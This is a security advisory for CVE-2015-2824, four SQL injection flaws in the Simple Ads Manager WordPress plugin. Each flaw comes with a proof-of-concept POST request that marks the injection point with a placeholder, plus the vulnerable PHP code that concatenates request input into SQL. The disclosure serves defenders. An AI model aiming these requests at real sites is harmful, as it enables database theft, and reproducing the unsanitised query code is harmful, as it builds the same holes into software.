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#Vulnerability title: WordPress plugin Simple Ads Manager - SQL Injection #Product: WordPress plugin Simple Ads Manager #Vendor: https://profiles.wordpress.org/minimus/ #Affected version: Simple Ads Manager 2.5.94 and 2.5.96 #Download link: https://wordpress.org/plugins/simple-ads-manager/ #CVE ID: CVE-2015-2824 #Author: Le Hong Minh (minh.h.le@itas.vn) & ITAS Team ::PROOF OF CONCEPT:: ---SQL INJECTION 1--- + REQUEST: POST /wp-content/plugins/simple-ads-manager/sam-ajax.php HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/28.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://target.com/archives/wordpress-plugin-simple-ads-manager/ Content-Length: 270 Cookie: wooTracker=cx5qN1BQ4nmu; _ga=GA1.2.344989027.1425640938; PHPSESSID=kqvtir87g33e2ujkc290l5bmm7; cre_datacookie=8405688a-3dec-4d02-9405-68f53281e991; _gat=1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache action=sam_hits&hits%5B0%5D%5B%5D=<SQL INJECTION HERE>&hits%5B1%5D%5B%5D=<SQL INJECTION HERE>&hits%5B2%5D%5B%5D=<SQL INJECTION HERE>&level=3 - Vulnerable file: simple-ads-manager/sam-ajax.php - Vulnerable code: case 'sam_ajax_sam_hits': if(isset($_POST['hits']) && is_array($_POST['hits'])) { $hits = $_POST['hits']; $values = ''; $remoteAddr = $_SERVER['REMOTE_ADDR']; foreach($hits as $hit) { $values .= ((empty($values)) ? '' : ', ') . "({$hit[1]}, {$hit[0]}, NOW(), 0, \"{$remoteAddr}\")"; } $sql = "INSERT INTO $sTable (id, pid, event_time, event_type, remote_addr) VALUES {$values};"; $result = $wpdb->query($sql); if($result > 0) echo json_encode(array('success' => true, 'sql' => $sql, 'addr' => $_SERVER['REMOTE_ADDR'])); else echo json_encode(array( 'success' => false, 'result' => $result, 'sql' => $sql, 'hits' => $hits, 'values' => $values )); } break; ---SQL INJECTION 2--- +REQUEST POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1 Host: hostname Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest action=load_posts&cstr=<SQL INJECTION HERE>&sp=Post&spg=Page + Vulnerable file: simple-ads-manager/sam-ajax-admin.php + Vulnerable code: case 'sam_ajax_load_posts': $custs = (isset($_REQUEST['cstr'])) ? $_REQUEST['cstr'] : ''; $sPost = (isset($_REQUEST['sp'])) ? urldecode( $_REQUEST['sp'] ) : 'Post'; $sPage = (isset($_REQUEST['spg'])) ? urldecode( $_REQUEST['spg'] ) : 'Page'; //set @row_num = 0; //SELECT @row_num := @row_num + 1 AS recid $sql = "SELECT wp.id, wp.post_title AS title, wp.post_type AS type FROM $postTable wp WHERE wp.post_status = 'publish' AND FIND_IN_SET(wp.post_type, 'post,page{$custs}') ORDER BY wp.id;"; $posts = $wpdb->get_results($sql, ARRAY_A); $k = 0; foreach($posts as &$val) { switch($val['type']) { case 'post': $val['type'] = $sPost; break; case 'page': $val['type'] = $sPage; break; default: $val['type'] = $sPost . ': '.$val['type']; break; } $k++; $val['recid'] = $k; } $out = array( 'status' => 'success', 'total' => count($posts), 'records' => $posts ); break; ---SQL INJECTION 3--- +REQUEST: POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php?searchTerm=<SQL INJECTION HERE> HTTP/1.1 Host: hostname User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: __utma=30068390.891873145.1426646160.1426734944.1427794022.6; __utmz=30068390.1426646160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wp-settings-1=hidetb%3D1%26libraryContent%3Dbrowse%26imgsize%3Dfull%26align%3Dcenter%26urlbutton%3Dpost%26editor%3Dtinymce%26mfold%3Do%26advImgDetails%3Dshow%26ed_size%3D456%26dfw_width%3D822%26wplink%3D1; wp-settings-time-1=1426646255; PHPSESSID=9qrpbn6kh66h4eb102278b3hv5; wordpress_test_cookie=WP+Cookie+check; bp-activity-oldestpage=1; __utmb=30068390.1.10.1427794022; __utmc=30068390 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 22 action=load_combo_data + Vulnerable file: simple-ads-manager/sam-ajax-admin.php +Vulnerable code: from line 225 to 255 case 'sam_ajax_load_combo_data': $page = $_GET['page']; $rows = $_GET['rows']; $searchTerm = $_GET['searchTerm']; $offset = ((int)$page - 1) * (int)$rows; $sql = "SELECT wu.id, wu.display_name AS title, wu.user_nicename AS slug, wu.user_email AS email FROM $uTable wu WHERE wu.user_nicename LIKE '{$searchTerm}%' ORDER BY wu.id LIMIT $offset, $rows;"; $users = $wpdb->get_results($sql, ARRAY_A); $sql = "SELECT COUNT(*) FROM $uTable wu WHERE wu.user_nicename LIKE '{$searchTerm}%';"; $rTotal = $wpdb->get_var($sql); $total = ceil((int)$rTotal/(int)$rows); $out = array( 'page' => $page, 'records' => count($users), 'rows' => $users, 'total' => $total, 'offset' => $offset ); break; ---SQL INJECTION 4--- + REQUEST POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1 Host: hostname User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: __utma=30068390.891873145.1426646160.1426734944.1427794022.6; __utmz=30068390.1426646160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wp-settings-1=hidetb%3D1%26libraryContent%3Dbrowse%26imgsize%3Dfull%26align%3Dcenter%26urlbutton%3Dpost%26editor%3Dtinymce%26mfold%3Do%26advImgDetails%3Dshow%26ed_size%3D456%26dfw_width%3D822%26wplink%3D1; wp-settings-time-1=1426646255; PHPSESSID=9qrpbn6kh66h4eb102278b3hv5; wordpress_test_cookie=WP+Cookie+check; bp-activity-oldestpage=1; __utmc=30068390 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 73 action=load_users&subscriber=<SQL INJECTION HERE>&contributor=<SQL INJECTION HERE>&author=<SQL INJECTION HERE>&editor=<SQL INJECTION HERE>&admin=<SQL INJECTION HERE>&sadmin=<SQL INJECTION HERE> + Vulnerable file: simple-ads-manager/sam-ajax-admin.php + Vulnerable code: from line 188 to 223 case 'sam_ajax_load_users': $roleSubscriber = (isset($_REQUEST['subscriber'])) ? urldecode($_REQUEST['subscriber']) : 'Subscriber'; $roleContributor = (isset($_REQUEST['contributor'])) ? urldecode($_REQUEST['contributor']) : 'Contributor'; $roleAuthor = (isset($_REQUEST['author'])) ? urldecode($_REQUEST['author']) : 'Author'; $roleEditor = (isset($_REQUEST['editor'])) ? urldecode($_REQUEST['editor']) : 'Editor'; $roleAdministrator = (isset($_REQUEST["admin"])) ? urldecode($_REQUEST["admin"]) : 'Administrator'; $roleSuperAdmin = (isset($_REQUEST['sadmin'])) ? urldecode($_REQUEST['sadmin']) : 'Super Admin'; $sql = "SELECT wu.id, wu.display_name AS title, wu.user_nicename AS slug, (CASE wum.meta_value WHEN 0 THEN '$roleSubscriber' WHEN 1 THEN '$roleContributor' WHEN 2 THEN '$roleAuthor' ELSE IF(wum.meta_value > 2 AND wum.meta_value <= 7, '$roleEditor', IF(wum.meta_value > 7 AND wum.meta_value <= 10, '$roleAdministrator', IF(wum.meta_value > 10, '$roleSuperAdmin', NULL) ) ) END) AS role FROM $uTable wu INNER JOIN $umTable wum ON wu.id = wum.user_id AND wum.meta_key = '$userLevel' ORDER BY wu.id;"; $users = $wpdb->get_results($sql, ARRAY_A); $k = 0; foreach($users as &$val) { $k++; $val['recid'] = $k; } $out = $users; break; |
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